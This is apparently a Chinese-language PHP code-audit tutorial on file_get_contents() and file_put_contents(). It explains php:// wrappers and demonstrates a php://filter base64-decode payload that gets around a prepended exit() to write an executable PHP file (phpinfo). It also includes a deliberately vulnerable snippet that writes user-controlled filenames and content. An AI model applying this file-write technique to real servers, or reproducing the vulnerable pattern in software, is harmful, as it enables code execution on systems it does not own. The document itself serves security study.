1. 程式人生 > 實用技巧 >php程式碼審計-file_get_contents()&file_put_contents()

php程式碼審計-file_get_contents()&file_put_contents()

file_get_contents()

https://www.php.net/function.file-get-contents

只需要瞭解filename即可

  • filename可以是簡單的一個檔案path,相對路徑或者絕對路徑
<?php
// <= PHP 5
$file = file_get_contents('./people.txt', true);
// > PHP 5
$file = file_get_contents('./people.txt', FILE_USE_INCLUDE_PATH);
?>

很顯然它的返回值是讀取檔案的內容

  • filename也可以是一個url

如:

  • filename也可以是一個偽協議形式的:

如:

echo file_get_contents('php://input');

或者

echo file_get_contents('php://filter/read=convert.base64-encode/resource=test.txt');

file_put_contents()

直接看使用例項:

  1. 直接向檔案寫入內容(filename為檔案路徑)
<?php
$file = 'people.txt';
// Open the file to get existing content
$current = file_get_contents($file);
// Append a new person to the file
$current .= "John Smith\n";
// Write the contents back to the file
file_put_contents($file, $current);
?>
  1. 和file_get_contents()類似的,file_put_contents()的filename引數也可以用PHP偽協議來修飾,以控制寫入檔案內容的格式等

eg1:

file_put_contents('php://filter/write=convert.base64-encode/resource=tmp.php',"123456");

然後tmp.php裡面

其中 MTIzNDU2=base64_encode("123456")

eg2:

<?php 
	file_put_contents('php://filter/write=convert.base64-decode/resource=tmp.php',"MTIzNDU2");
?>

繞過死亡exit()

如下程式碼:

$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

$content在開頭增加了exit過程,導致即使我們成功寫入一句話,也執行不了
這裡就可以利用file_put_contents()filename引數可以用偽協議過濾的特性:

比如可以傳入引數:

filename=php://filter/write=convert.base64-decode/resource=tmp.php&txt=aPD9waHAgcGhwaW5mbygpOyA/Pg==
//PD9waHAgcGhwaW5mbygpOyA/Pg== 是<?php phpinfo(); ?>的base64

訪問tmp.php

原理可以參考 https://www.leavesongs.com/PENETRATION/php-filter-magic.html,這篇文章裡面還有一些別的姿勢也可以參考